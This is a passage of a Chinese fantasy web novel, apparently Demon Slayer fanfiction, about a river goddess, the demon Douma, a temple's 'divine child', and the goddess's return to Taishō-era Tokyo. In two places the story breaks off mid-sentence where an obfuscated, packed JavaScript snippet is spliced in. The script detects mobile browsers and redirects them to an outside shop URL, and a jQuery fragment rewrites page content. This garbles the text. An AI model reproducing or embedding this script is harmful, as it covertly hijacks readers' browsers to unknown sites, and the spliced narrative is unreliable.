女神有些困惑地看着那个地方,却听到一个毫无起伏的冰冷声音在另一个方向上响起。 “您是在找我吗?” 红衣男人的全身像是被血泼过一样,俊俏的脸上挂着面具般的微笑,声音却像是某种机械一样生硬。 “虽然是可爱的女孩子,但阁下的脾气真是像无惨大人一样糟糕呢。” “你…为什么还活着?”黄泉津女神感觉今天的怪事简直层出不穷,“你到底是…” “我吃到了哦。” 名为童磨的怪物站在一朵冰做的莲花上,歪了歪头,手中多了两把金色的扇子。 “虽然只有一点点,但阁下的味道…怎么说呢,就像腐烂了很久的肉。真可怜,太可怜了。” 他用七彩琉璃般的眼睛看着她,面无表情地说道: “您一定很痛苦吧?” 女神脸色一沉,周围变得黑如极夜,十几道漆黑的风暴向着莲花上的男人席卷而去。 “好奇怪的攻击呀,像是以前鬼杀队的那些风柱喜欢用的招式一样…不对不对,又不太一样,还是更接近血鬼术。”那妖魔般的红衣男人居然兴奋地咧开了嘴,露出了四颗尖锐的獠牙,“神明都是这样战斗的吗?一定要记下来才行呢。” 紧接着,只听妖魔轻柔地念了一句: “血鬼术·蔓莲华。” 有什么撕裂了冰层,从三途川的深处生长出来,如同纠缠在一起的根系般的东西在浮冰间若隐若现,随着那两把金色扇子的挥舞,它们像死去的蛇一般窜出了水面。 看起来好像是…莲蔓? 风暴撕扯着那些诡异的莲蔓,碎冰纷飞,但随着更多的破裂声,无穷无尽的青色莲蔓开始疯狂涌出冰面,它们抽出枝条,甚至长出了足有圆桌大小的碧色莲叶,视野所见的河面转瞬之间竟化作了一望无际的莲池,寒冰崩塌,一朵朵活生生的白色莲花绽放在这死之国度的水面之上。 “怎么可能…吸收了我的灵力吗…” 黄泉津女神目瞪口呆地愣在了原地,直到身旁的狩衣青年朝她微微躬身。 “大人,差不多已经够了。” “谁说够了?!”少女尖叫起来,“这种…这种什么都不是,什么也感觉不到的东西…怎么可能…?!” “您为什么要说这种恶毒的话呀?” 红衣的恶鬼脚踏莲花,不知何时已经走到了她的面前,脸上什么表情也没有,静如一潭死水。 金色的折扇在他手中展开,在黑暗中散发着冰雪般的寒光。 “我是个善良的人,对待女孩子尤其温柔哦。”鬼叹了口气,“但唯独这样的话,我很不喜欢呢。“ “明明是可以感觉到的哦,那孩子的心脏,”他轻轻指了指胸口,“就在这里噗通噗通的跳呐。” 灿金色的铁扇对准了少女的头,猛地斩下。 一声清脆的鸣响后,一面青玉做的镜子堪堪挡住了那锋利的扇刃。 “请等一下,我想我们可以谈谈。”狩衣青年温和地说。 恶鬼眨了眨眼睛,然后一瞬间换上了和蔼可亲的表情。 “真是的,阁下早说嘛,我最擅长听人说话了。”他笑嘻嘻地说,“但现在,轮到我来提条件了哦~” 一片黑暗中,坐着一个孩子。 他看上去很小,大约只有七八岁。他呆呆的坐在黑暗和寂静里,白橡色的头发散发出初雪般的微光。 我走到他面前,轻声唤他:“小神子。” 他仿佛终于注意到了我的存在,抬起了一双美丽的、犹如虹霓的眼睛。 “你在这里做什么呢?“我蹲在他面前,朝他微笑。 孩子眨了眨眼。 “我好像在等人,但记不起在等谁了。” “不用再等了,跟我走吧。”我说。 “我不能走。”那孩子摇了摇头,“很多人都需要我,我是为了让大家得到救赎才存在的。” “可是…大家都去哪里了呢?”他茫然的看着黑暗,“为什么只有我一个人在这里?” “你已经做到了。”我摸摸他的脸,“你救了一个女孩子,她因为你的救赎,而努力的存在了下去,甚至连死亡也没能击败她,她一直想见你,你不想见见她吗?” “真的吗?”那孩子脸上浮现出惊讶,“我真的救了一个人吗?一个女孩子?” “是真的哦。” “太好了。”孩子微笑起来,“所以我是个好孩子,对吗?” “你是世界上最独一无二的孩子,是神明之子。”我认真的对他说,“但你已经完成了你的使命,现在,可以去玩了哟。” “可以吗?真的可以吗?”他的眼睛亮起来,“你愿意带我走吗?” 我向他伸出手,说:“走吧,江户城的樱花开了,我们去看樱花。” 我们走了很久,很久。 直到黑暗消泯,天光渐亮,直到山间的小路尽头,出现了红色的鸟居。 鸟居下站着一个小小的身影,朝我们挥了挥手。 女孩依旧是八岁时的模样,梳着娃娃头,白色的和服上绣着几朵小花。 “你终于来啦,你迟到了哦。”她说。 白发的男孩放开了我的手,朝她跑了过去。 “白姬小姐!”他欢快的叫出了她的名字,“抱歉,我来晚啦!谢谢你,你遵守了约定哦。” 女孩子笑着拉住了他的手,“你也遵守了约定哦,极乐教的小神子,一路辛苦啦。” 她看向我,眼睛弯了起来,如同新月。 “小白,谢谢你。” 我目送他们手拉着手消失在路的尽头,山间的早樱像一场春雪般洒满了那条路。 83. 江户篇·礼物(短番外) 小仓山附近的极乐寺里,出了位神明之子,这事从享保十二年左右就开始在京都府的乡下流传了,但夕月第一次跟着母亲去拜谒时,已经是五年以后了。 去之前她只听说那是个三岁就能把经文倒背如流的神童,虽然父母只是一对普通的夫妇,那个孩子却有着牛乳一样洁白无垢的发色,眼睛里还有彩虹。夕月弄不清这是怎样一副古怪长相,只知道母亲去见了一次后,回来就变得虔诚无比,说那是个能听到神明声音的孩子,从他那里能得到指引。夕月觉得有点可笑,但最近母亲因为父亲的病已经很愁苦了,每每去祷告回来,心情就能平静很多,女孩就觉得,也许去一下那个什么教会,也确实有点用吧。 结果这一年还没到七夕祭,母亲就非要上山去祈愿,还要带上夕月一起去接受神明之子的祝福。夕月担心她一个人走山路不安全,于是就只好陪着一起去了。 那时的极乐寺只是一间小寺院,除了讲经用的经堂以外,就是接待贵宾的茶室和信众们在拜谒时等待的客堂了,地板用的也不是后来的乌木,而是柏木。但布置的一点也不寒酸,听说是因为神子的母亲是个极通人情世故的女人,不知道用了什么手段,硬是讨得了京里御茶奉行家夫人的青睐,加上信众们的供奉,这座莲池环绕的寺院被打理的竟也像嵯峨野的那些正经公家寺庙一样精致典雅。 夕月陪着母亲在客堂中等待。夏日的午后,阵阵单调的蝉鸣声令人昏昏欲睡。母亲和其他几位来拜谒的信众谈论着最近高涨的米价、破产的店铺和家人的病,夕月只觉得无聊,于是趁母亲没注意,偷偷顺着檐廊溜了出去。 虽然在山里,天气也依然闷热,但这里的莲花开的极好,不知是哪里移来的品种,除了粉白紫红,还有罕见的雪青色。莲池上架着之字形的木桥,夕月踩上去,木头发出咯吱咯吱的响声,她觉得挺有意思,就沿着木桥一路走下去。莲花散发出甜美的香气,蝴蝶和蜜蜂在硕大的花朵间徘徊不去,女孩追着池子里的鲤鱼,渐渐走到了经堂后面。 “你是信徒家的孩子吗?” 一个清亮的声音吓了她一跳,抬头一看,是个披着黑色僧袍一样衣服的小男孩,坐在檐廊下,笑眯眯地看着她。 那孩子长的很是漂亮,有着洁白的发色,以及像冰一样剔透、闪烁着虹彩的眼睛,但除此以外,夕月似乎也没看出他有什么特别之处。 这就是能听到神明声音的…神之子吗? 见她没答话,那孩子忽然收敛了笑意,露出有点悲伤的神色。 “我懂了,你家里一定发生了什么悲伤难过的事吧?跟我说说吧,我会听哦。” 夕月愣了愣,终于回答道:“我是和妈妈一起来的,因为爸爸一直生病,可能治不好了,家里的店也不行了…但妈妈说,只要到这里来的人,都会受到神明大人的庇佑,是这样的吗?” “真可怜啊,你一定很辛苦吧?”那漂亮的男孩子蹙着眉,难过地说。 “我…其实还好,只是妈妈很可怜,总是在哭。”夕月有点奇怪地看着他,“你为什么长的和别人不一样呢?你的爸爸妈妈是哪里人呀?” “因为我是神明的孩子,只是借助了人类的身体出生而已,严格来讲,他们并不算是我的父母哦。”男孩子耐心地说,“我想起来了,你是浅山家的孩子吧?是叫做夕月的,对吧?” “你怎么知道我的名字的?”夕月惊讶地说,“是我妈妈告诉你的吗?” 那孩子神秘地微笑起来:“是神明大人告诉我的哦,我还知道你家是从江户那边搬来的,对吧?” “这个你也知道?也是神明大人告诉你的吗?”夕月震惊的望着那看起来不过七八岁的男孩子,“不,不对,肯定是我妈妈告诉你的!” “那我说一点你妈妈不知道的吧。”那孩子笑眯眯地说,“明年的米价可能还会更高哦,但后年就会慢慢好起来了,就是可能会有很多人死掉。不过不用难过,神明大人会指引所有死去的人到极乐净土去的。” “那我爸爸的病…还能好吗?” 这孩子温柔的声音和笃定的语气,让夕月不由自主地产生了奇怪的信任感,她忍不住问道。 “会的哦,神明说,只要你母亲诚心祷告,你父亲的病一定会痊愈的,到入秋的时候,就会有起色哦。” 那孩子认真地说。 “你好厉害!”夕月开心的笑起来,“谢谢神子大人的祝愿!” “不客气,为信徒们带来幸福是我的义务哦。”那小小的男孩露出了甜美而安抚人心的微笑。 “你在吃什么呀?”夕月注意到那孩子手里拿着什么圆圆的东西,“是糖吗?” “是莲蓬子,你要试试吗?很甜的哦。”男孩笑眯眯地把手里的莲子递给她。夕月接过来塞进嘴里,立刻皱起了脸。 “里面是苦的啦!” 那孩子欢快的笑起来:“你好笨,只要把芯去掉就是甜的啦,是我发现的哦。” “不要吃莲子啦,给你这个。”夕月从随身的小袋子里掏出几颗糖,“是我家那条街上的铺子做的,这个红色的是梅子味,黄色的是生姜的,还有白色的是麦芽糖,都给你,作为你祝福我爸爸的回礼哦。” 男孩微笑道:“神明之子不需要回报,不过还是谢谢你,愿神明保佑你安康,夕月小姐。” 看女孩踩着木桥吱吱嘎嘎地走远,神之子那白皙秀气的面庞上,熟练的微笑逐渐淡去,变得平静而淡漠。 他转身拉开绘着莲花的纸门,走进经堂旁边的侧室,那里跪坐着一位青衣女子,正带着浅淡而恭敬的笑容注视着他。 “您回答的太好了,说明神子大人把信徒的事放在心上。”女子说,“这位浅山小姐家是在衹园附近开布店的,不过她家的店应该是要关门了,等一下她母亲祷告时问起的话,还请您将神明大人的意思传达给她。” “是的,母亲。”男孩轻声说。 “说了多少次,请您不要叫我母亲。”女子的语气严肃起来,“我只是生下您的女人而已,您要叫我清子夫人。” “是的,清子夫人。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14252360|151568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “但是,关于浅山先生的病,为什么您那么确定会在入秋时好起来呢?”女子忽然问道。 男孩眨了眨那对流光溢彩的眼睛。 “是神明大人告诉我的哦。”他微笑道。 “我想也是。”清子夫人脸上洋溢起热切的笑,“您果然是神明的孩子,大家的幸福就指望您了。” 女人伸出手掌,男孩乖巧地将几颗糖果放在她的手里,这让她满意地点了点头: “这是为了您好,吃坏了牙齿可不行,信徒们是不会喜欢的。” 她从旁边拿起一顶黑色的毗卢帽,郑重地戴在男孩的头上。 “现在请您去经堂,以神明之子的身份指引大家吧。” 夕月跟着母亲祷告完的时候,太阳已经快要落山了,因为神子大人的慈悲,信徒们在寺里用了简单的晚膳才陆续离开。 在离开前,女孩又跑去了经堂后面,意外的看到那个披着黑衣的孩子依然坐在檐廊下,望着盛开的莲花一动不动,似乎在发呆。 “我要回去了哦。”她冲男孩挥挥手,“母亲的心情好了很多,因为马上要到七夕节了,还说要带我去参加祭典呢!我都已经好几年没有去过啦!神子大人真的好厉害,母亲一下就打起精神来了呢!” 男孩露出了天真又温柔的微笑。 “真好,夕月小姐也开心起来了呢,不用感谢我,这都是神明的祝福哦。” “当然要感谢神子大人啦!”夕月笑着说,“听说在七夕祭典上可以许愿,只要把写着愿望的纸系在竹子上就可以实现。你有什么愿望吗?我可以帮你一起写上哦。” “愿望?“ 神子大人第一次露出了略带茫然的神情。 “对呀,什么都可以,我今年要许愿爸爸的病快点好起来,如果爸爸真的病好了,入秋时我就还来找你玩。”夕月认真的说,“我还想让家里的生意变好,还要一个新的风筝,你呢?” “我没有什么愿望。”那孩子淡淡的说,“能让信徒们得到幸福,我就已经很满足了。” “不会呀,每个孩子都有喜欢的东西,即使是神子大人,也一样吧?”夕月迷惑的说,“神子大人没有想要的礼物,或者想去的地方吗?” “想去的地方…有的哦。”男孩忽然像是想起了什么似的,“明年春天,还想再去江户城一次,那里的樱花很漂亮哦。” “我记下了,会帮神子大人一起许愿的!”夕月笑道,“我们的愿望,都一定会实现的。” 女孩的身影消失在重重莲叶后。夜幕降临,星星一颗颗在黑色的夜空中浮现出来,有女侍点燃了经堂的灯盏,金黄色的灯火里,无数写着“极乐”的垂幔,在夜风中如同无依的芦花般飘摇。 莲花的香气夹着白檀浓郁的香味弥散在空气里,晚课的时间到了。 有着洁白发色的神明之子低下了头,从宽大的袖子里摸出了最后一颗幸存的糖果,悄悄地放进了嘴里。 白色的,麦芽糖。 “好甜。”他对着夜风,轻声说道。 84. 终章:花(1) 水声? 淙淙的流水声渐渐占据了听觉,听起来似乎是溪流。 黑暗中的视野缓慢地从灰色转为白色,一道不知哪来的光刺入眼帘,我本能地用手挡了一下。 布料落在脸上的触感无比真实,湿漉漉的。 我脑子停顿了一刻,意识到那好像是被水打湿的衣袖。 好奇怪啊,我怎么可能湿了衣服。 水滴顺着脸颊流淌下去,我于是挪开了那奇怪的触感,那莫名的光更加肆虐,仿佛有什么在强行让我醒来。 拜托,我已经死了,让我安息不好吗? 等等,我都已经死了两百年了,好像也没安息? 最后发生了什么来着? 啊,对,我把伊邪那美命给吃了。 不对,我已经很久不吃人了,这一定不是真的,何况她好可怕啊,这下会被整个地狱通缉吧?要赶快跑路才行! 那道光彻底充满了意识,我猛地睁开双眼。 视野中是一片蓝黑色的天空,无数细碎的光点遍布其上,光点簇拥着一轮银白色的满月。 啊,这又是哪里啊?我的刀呢? 我伸手摸了摸,也没摸到。于是只好坐了起来。 嗯,果然是坐在小溪里。底下都是鹅卵石,浅及脚踝的水流在一刻不停地冲击着水底。水的味道很好闻,就像是…就像是… 荒川的味道。 我睁大了眼睛,看着四周的森林和岩石,没错,这个地方是…… 秩父…荒川的源头。 在这里,山间的无数溪流汇聚成大河,向南,向南,一路奔流入海。 夜风吹过树梢,带来树叶和花的味道。头顶的…那些叫做星辰的东西,已经百年未见。 ……这是真的还是假的?又是幻觉吧? 我站了起来,发现衣服全在水里浸的透湿,头发也全是水,于是本能地用灵力去弄干,折腾了半天才让自己看起来体面一点。顺着溪岸走上了草地,我看见了月光下一望无际的森林,听觉里出现了其他声音。各种夜鸟的叫声,动物的脚步踩过枯叶的声音,虫子爬行在泥土里的声音… 这幻觉好逼真,比死灵地狱的还强。 不对,我记得我已经离开死灵地狱了啊。 我感觉头脑有点迷糊,于是向前走去,没走几步忽然被什么绊了一下,脸朝下摔倒在地上。 “哎呦!” 一个脆生的嗓音,但不是我发出的。 “谁?!” 我紧张地跳出几步,才发现面前的地上坐着个十七八岁的女孩子,穿着格子和服,头上包着头巾,一双漆黑的圆眼睛像亮闪闪的黑曜石,一眨不眨的瞪着我。 之后我俩同时爆发出一阵尖叫。 “啊啊啊哪来的人类?!” “啊啊啊你是妖怪吗?!” “妖怪?我?”我低头看了看自己,“我哪里像妖怪了?我是个水神好吗?倒是你,人类女孩子在这种地方坐着干嘛?很危险的知道不知道?” 对方也跳了起来,不客气地叉着腰,个子不高,气势挺足。 “明明就是你踩到我了好不好?这是我的坟哎!” 我仔细一看,才发现地上有个长满杂草的小土包,几乎肯定完全看不出是座…坟? “抱歉抱歉,我没看到…等等,灵体在地狱里不需要坟啊,哪来的坟…”我觉得自己的脑子真的出毛病了。 “什么地狱,你在胡说什么呀,这里是云取山啊!” ”云,云取山?”我艰难地从记忆中搜索着这个名字,“你是说…这里不是地狱?” 女孩子的表情变得有点同情。 “你是不是从山上掉下来撞到头了?”她说,“这是云取山呀,你是从哪来的?怎么头发的颜色是这样的?是狐狸吗?哎,我在这里呆了四百年了,第一次见到狐狸变成人呢!” 我呆呆地看着她:“你是说,这里是人世?” “狐狸小姐,你真的不要紧吗?这里当然是人世啊!” “怎么会,我是怎么…” 我晃了晃,坐在了草地上。 我应该已经彻底消失了才对。 最后明明应该被谁吃掉了… 是谁来着?该死的,什么都想不起来。 “狐狸小姐,狐狸小姐?” 女孩子伸手在我眼前一个劲的晃,“你没事吧?这附近没什么人住哦,也没有狐狸的神社,啊,我记得那边有一户烧炭的人家来着,你是不是饿了?那家的孩子很好心,要不你去找点吃的?” “都说了我是个神,不是狐狸啊。”我欲哭无泪地说,“你是个幽灵吧?怎么没去转世啊?不转世的幽灵不是好幽灵你不知道吗?” “我在等我夫君。”女孩子不好意思的笑了笑,“那个笨蛋在我死了以后就不知道跑到哪里去了,虽然知道他是个笨蛋但我还是决定等他一起去转世,不过等了四百年了还是没见他影子,唉。” “四、四百年?”我大惊,“那你岂不是战国时就在这里了?” “对啊,我家以前就住这里嘛。”她理直气壮地说。 “没别的亲人了吗?” “没有,家人全在瘟疫里死光啦,我夫君是从家里跑出来的,我俩从小一起长大。”女孩得意地说,“我种地和摘野菜可是一把好手,所以从来没让那个笨蛋饿过肚子。” ”啊…听起来好棒。”我有点羡慕,“请问一下,这里离江户多远?” “江户?” “不对,现在好像叫…东京?” ”江户我知道的,是个大城哦!不过从来没去过,离这里听说要走一天呢。” “知道了,多谢!我先走啦!” “哎?这就走了?好不容易才遇到个能说话的人啊…” 我爬上一处山顶。月光下,荒川像一条蜿蜒的玉带向远处延伸。 荒川,我的荒川。终于又见面了。 眼泪几乎瞬间流了下来。 我毫不犹豫的冲到河边,一头扎进了水里,化作蛇的形态,化作水的形态。 终于…回家了。 河水的流速不慢,因此感觉没过一会儿,岸边就出现了村落,此时仍是深夜,村子里除了几声狗叫再无其他声音,只有木船上的风灯在黑夜中一晃一晃。 我在水草和波浪间漂浮,月光洒在身上。 这种恍若隔世的感觉太奇怪了,就好像去了个很远的地方,过了很多年才回到故乡,一切都很熟悉,一切也都很陌生。 我好像原本就属于这条河,但又有无论如何都不能忘记的牵绊。 是什么样的牵绊来着? 完全凭着本能,我走到了一处破破烂烂的鸟居前。 身体在发抖,但依然努力顺着那些被荒草覆盖的阶梯,一步步走上山去。 路边的献灯像沉睡了百年的骸骨,在杂草间若隐若现。两百年前,灯火和星月之光曾照亮这条石头小路,然而现在只余荒芜。 踏上最后一个台阶,眼前是齐腰深的荒草,隐约能看见…一些朽烂的不成样子的木头碎片。 什么也没有,这片已经完全融入大地的地方,就是昔日荒川神社的所在。 我站着愣了一会儿,拨开荒草向前走去。神居前的铜铃铛半埋在土里,石头做的手水舍倒是在原处,但没有一滴水,一窝雏鸟在里面嗷嗷待哺。 没有柱廊,没有门,没有屋檐…这里什么也没有。 人类的一切都不长久,最终都将在时间的冲刷下化为乌有。 我坐在了一方白色石头上,那是以前神坛下方的地基,号称是从出云那边运来的石头,坚固无比。在这片荒草的森林里,它像一座小小的孤岛,我坐在上面,望着我心心念念的神社…的残骸。 月光洒下来,四下寂静,只有虫鸣。 倒也不错。我本来也是山林草木之神,与草木为伴也相当自在,况且这是生命的味道,这里的一切都是那么的生机勃勃。 我回来了。 我默默地说。 我回来了… 不知道坐了多久,天边渐渐变成了粉色,然后是白色,金色,一轮旭日升了起来。 我目不转睛地注视着那雾霭中缓缓上升的日轮,那是两百年未见的景象。 日出。如同世界的初创,雏鸟破开蛋壳,鲤鱼在早春的湖里吐出第一个水泡,蚯蚓钻出泥土,婴儿诞生在世上。 真好啊…又能见到太阳。 一直盯到眼睛快被晃瞎,我才躺在了那块石头上。也才意识到可能现在是冬天,草都枯黄了,阳光也不怎么温暖,但并不妨碍我晒太阳。 冬日的天空是蓝色的,蓝色的天空。 远处山下开始传来人声,有叫卖声,吵架声,某种奇怪的笛声,孩子的哭声…是人间烟火。 我什么也不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14252361|151568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想做,哪里也不想去,只感到心中一片安宁。 安宁到空虚。 不用战斗了吗?不用逃跑了吗?不用躲起来了吗?不用…惦念谁了吗? 什么也…不用做了吗? 这感觉真奇怪,明明是活了过来,却又像刚刚才死去。 我躺在那里,看着太阳一点点爬上天空的正中,又一点点向西而去。阳光洒在脸上,全身慢慢地热了起来,好像有光在血管中流淌。 不知道从哪跑来一只野兔子,毛茸茸的鼻子在我脸上拱来拱去。我痒的笑了起来,伸手去摸它,它却一溜烟跑开了。 我却看着自己的手,愣住了。 那是白皙细长的、少女的手,不再是灵体,而是有着牛乳般颜色的肌肤,指尖泛着珠光色泽,甚至能看到皮肤下方的血管。那是实实在在的血肉,是我曾经梦寐以求的身体。 手心腾起青蓝色的灵光,我试着运转了一下自己的灵力,果然微弱到可以忽略,但勉强还够施个小法术什么的。 连神社都塌成这样了,我也不能指望更多,对吧? 只是在左手的手腕下方,有一个血红的符号,像是字,也像是画。 那是一朵莲花。 心中突然升起了某种特别的感觉,这是什么来着?为什么我会有这个? 好像忘掉了什么非常重要的事。 但我只想躺着晒太阳,什么也不想干。 一直到了太阳落山,我才站了起来,向着山下走去。 碰到的第一个人是个穿着奇怪洋装的女人,她看到我时愣了愣,然后爆发出震耳欲聋的尖叫。 “啊啊啊啊鬼啊!” 我看了看那条山路,前后都没人,难不成说的是我? 啊,好像忘了拟态! 于是我把头发和眼睛的颜色都改成黑色,想了想,又整理了下身上的白色和服,然后诚心诚意地问她: “抱歉打扰您,但我现在看起来是不是比较像人类了?” 她干脆两眼一翻,晕了过去。 ……果然不论哪个年代,人类都是一样精神脆弱。 我把她拖到路边。然后顺着路继续走下山。 路的样子完全变了。路上的人慢慢多了起来,有人骑着两个轮子的车,有人穿着奇怪的衣服,路边出现了奇怪的杆子,屋子的样子好像也变了… 我只是一路向前走。还好没人再尖叫见鬼。 因为有点搞不清方向,我拦住一个抱孩子的女性,礼貌地问:“抱歉,请问东京怎么走?” “诶?您说什么?“ “我想去东京。”我解释道,“应该是一座城,有城门和城墙,还有护城河。” 她一脸难以置信的表情,抱着孩子匆匆跑开了。 ……这个时代的人都怎么回事啊!两百年不见,一点礼貌都没有! 问到的第三个人是个男人,他色眯眯地看着我,不住点头: “小姐是刚从乡下来东京府吗?要不要我介绍个工作给你?” “什么工作?”我好奇的问,“等等,您是说这里已经是东京了吗?“ 男人哈哈一笑:“当然,东京府可大了,你以前没来过吧?” “谁说的,我可是在江户城里长大的,江户不是改名叫东京了吗?” “江户?哦哦,你说的是江户城啊!你是要去那里吗?你今年多大?有十八岁了吗?” “啊?”我愣了愣,“我…差不多吧。” “成年了就好,没成年也没关系。跟我走吧,那可是难得的好工作。” “可我又不是要找工作,干嘛要跟你走?” “你不是要去江户城吗?我现在就带你过去。” 于是他拦住辆有人拉着的车,半拖半拽的把我拉了上去。 拉车的人跑起来,我看到街道两侧都是店铺,行人很多,有的骑着两轮车,路上还有铁盒子一样的车在跑,路面渐渐变得明亮,那些奇怪的杆子上亮着灯,却没有火。 “那个…是叫做电车吧?”我惊讶地指着那种好几个轮子的车说。 男人噗的笑了,“没错没错,是电车,小姐你是从哪里来的?听口音有点奇怪,鹿儿岛?” “没有啊,我就是江户本地人。”我奇怪地说,“对了,请问现在是什么年号了?” 那人古怪地看了我一眼。 “大正,大正六年。”他说。 85. 终章:花(2) 好像突然闯进了一个异世界,如同白昼的光亮夹杂着鼎沸的人声扑面而来,面前出现了无数的人和无数四个轮子的车,一辆辆电车沿着地上的金属轨道,边行驶边发出“铛铛”的声音,建筑变成了我从未见过的高大样式,透明的门窗里灯火通明,人们穿着我没见过的洋服进进出出,街道两侧都是彩色的绸布,上面写满了大字。 “宗谷大作…富士馆…” 这都是什么啊? 一片喧嚣中,我终于看到了某个熟悉的地方。 “那是浅草寺吧?我明白了,这就是浅草的商店街,对吧?” 诶?浅草的商店街…是谁告诉过我这件事来着? 身后的人类应声:“没错,乡下没见过这种大世面吧?一会儿带你去个好地方…喂,你干什么?!” 我站在车子的座椅上,回头笑了笑。 “多谢带路。你是想把我卖到吉原去吧?‘极品货色’是吗?我都听到了哦。另外你大概半年后会在街头被人用刀子捅死,剩下的日子还是好好陪伴家人比较好。” 说罢我从车子上轻巧地跳下,朝着浅草寺走去。 记忆里高大的雷门不见了,或者说现在的浅草寺挤在一堆西洋建筑之间,一点也不显得高大了。 我茫然地在街上走了一会儿,就被摩肩接踵的人潮和各种嘈杂的声音弄的头昏脑胀。 两百年,人世就变成了…这个样子吗? 找不到江户城的城下町了,更不用说记忆中的街道和点心店。 找了一处最高的西洋高塔顶端,我俯视着这片完全陌生的、叫做“东京”的城市。目光所及之处,是流动的灯火和声音的海洋,空气中飘散着人类的各种情绪和欲望的味道,对于神灵而言,这里实在过于混乱了,混乱到让我不知所措。 夜风呼啸而来,我感觉自己被塞满了过量讯息的头脑久久冷静不下来。 接下来该去哪里,该做什么,完全没有头绪。我已经没有了神社,也找不到昔日熟悉的任何地方,彻底陷入了迷茫中。 然而在光和声音的海洋中,我忽然捕捉到了一线熟悉的气息。 如同蛛丝般极其淡薄的气息,将我的目光引向了某个方向。那是远处一片没有亮灯的、黑漆漆的区域,在繁华的城市胜景中显得格外突兀,但那里似乎有什么东西在吸引着我。 我从高塔上一跃而下,隐去身形后顺着起伏的屋顶奔向那里。 到了近处的屋顶上我才发现,这里应该曾经有过一场十分激烈的大战,建筑物很多只剩下一半,到处都是刀剑和不知名的武器砍过的痕迹。路中间全被石块和碎片塞满,居然还横着几辆电车,车身上破破烂烂,仿佛是被什么东西的爪子撕烂了一样。 附近一片黑暗,那些灯火似乎没有延伸到这里。我跳下屋顶,朝着那片区域走了过去。 几个身穿黑色衣服的人影拦住了我的去路,他们脸上都戴着半截面罩,冲我急急忙忙地摆手。 “小姐,前面地基下沉,很危险,不要再往前走了。” 我停住了脚步,皱了皱眉:“地基下沉?那是什么意思?” “诶?” “这里不是发生过战斗吗?”我说,“有日轮刀的痕迹。还有你们身上的气息…是猎鬼人吧?” 几个人似乎完全愣住了,其中一个连忙说:“您在说什么,我们是受警官之托来调查地基下沉的调查队…” “战斗是多久以前发生的?” “你…你在说什么?” “两天前是吗?对无惨?” 我听到了对方心中不由自主的回答。 看到眼前的几个人明显紧张起来,试图联络什么人的样子,我微微一笑。 “你们是‘隐’?不用害怕,我不伤害人,只是进去看看。里面应该有对我来说非常重要的东西。” “你到底是什么人?怎么会知道鬼的事?” “这就说来话长了。但你们没有见过我,也不会想起任何关于我的事。” 我轻轻拍了下手,切断了这几个人身后金色的因果之线。 他们像没看见我一样,从我身边走了过去。 踏进那片区域后,被吸引的感觉越来越强烈了,我走过那些倒塌的建筑和破碎的路面,闻见了空气里浓烈的人血味道,废墟上影影绰绰地站着一个个黑影,那是死者的亡魂还在原地徘徊不去。 这是死了多少人啊…? 我在一条道路的中间发现了一座木头碎片堆成的小山,破破烂烂的纸门和榻榻米在冬天的风里发出沙沙的响声,像是一座奇特的坟墓。 这就是…无限城留在世上的最后一点痕迹了? 这就是…我要找的地方? 心中有种撕裂般的疼痛,但身体不由自主地、跌跌撞撞地爬上了那座坟墓,用双手扒开那些木头,只觉得我要找的东西似乎埋在最下面,但那些木头碎片和各种东西堆叠交织在一起,像是地震后坍塌的屋子,于是我用上了灵力,好容易才将那废墟分作两半。 在一块血迹斑斑的木地板下,我看见了它们。 那是一对金色的、刻着莲华纹的扇子。 我扑上去,颤抖着手轻轻摸了 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“混蛋!你死到哪里去了?!” “太过分了!给我出来啊!” 本以为放下了所有的思念,终于可以安然闭上双眼。 没想到思念才刚刚开始。 我抱着扇子跪在无限城的废墟上,大概是情绪过于激动的缘故,开始有雨水飘落,像是要洗去这片土地上所有的血腥和创伤。 谁也无法改写命运,但争斗和厮杀,是比什么都令人悲哀的事。 人类也好,鬼也罢,谁都不是赢家,这件事根本不存在赢家。 身为猎食者,鬼要狩猎才能生存,人类要守卫家族和同类,双方都说不上有错,就像森林里的狼群和鹿群。但动物不会彼此憎恨,不会让自己的仇恨在后代中传承。 这绵延千年的仇恨,我希望到此为止。 然而这也仅仅是我的希望而已。现在能做的,只有祈愿,安抚和祝福。 努力凝聚起身上仅剩的灵力,我轻声念出那道咒语: “沧龙·净化之雨。” 我真心的祈愿,让一切人类和鬼的争斗就此消泯。 我也真心的祈愿,未来的某一天,能与你在时空中再次重逢。 细密的雨丝自天空降落,渐渐下得大了起来。无限城的残骸和鬼的痕迹,在雨中化作了飘渺的尘埃。 回去吧,回到荒川的源头去,那里才是我的家。 86. 终章:花(3) “咦,你怎么又回来啦?” 女孩子的幽灵瞪着大眼睛看着我。我把怀中的扇子往旁边草地上一丢,在她那座寒酸的小坟边上坐了下来。 “城里人太多,完全不是之前的样子了。”我抱着膝盖,呆呆地说,“喜欢的人也不在了,我不知道该去哪里,就回来了。” “啊,就知道会这样,毕竟已经过了几百年了嘛。”女孩子倒是一副很看得开的样子,“不要难过啦,不行你就住我这里,我收留你。” 我笑了笑:“你人真好。我叫染,你呢?” “我叫诗。”女孩笑呵呵地说,“可惜没什么能拿来招待你的,狐狸小姐爱吃什么东西呢?” “爱吃的东西…江户城里以前有家卖团子的店,到了樱花开的时候,会做有糖霜的樱花团子卖。”我木然地说,“现在也找不到了,大概早就没有了吧。” 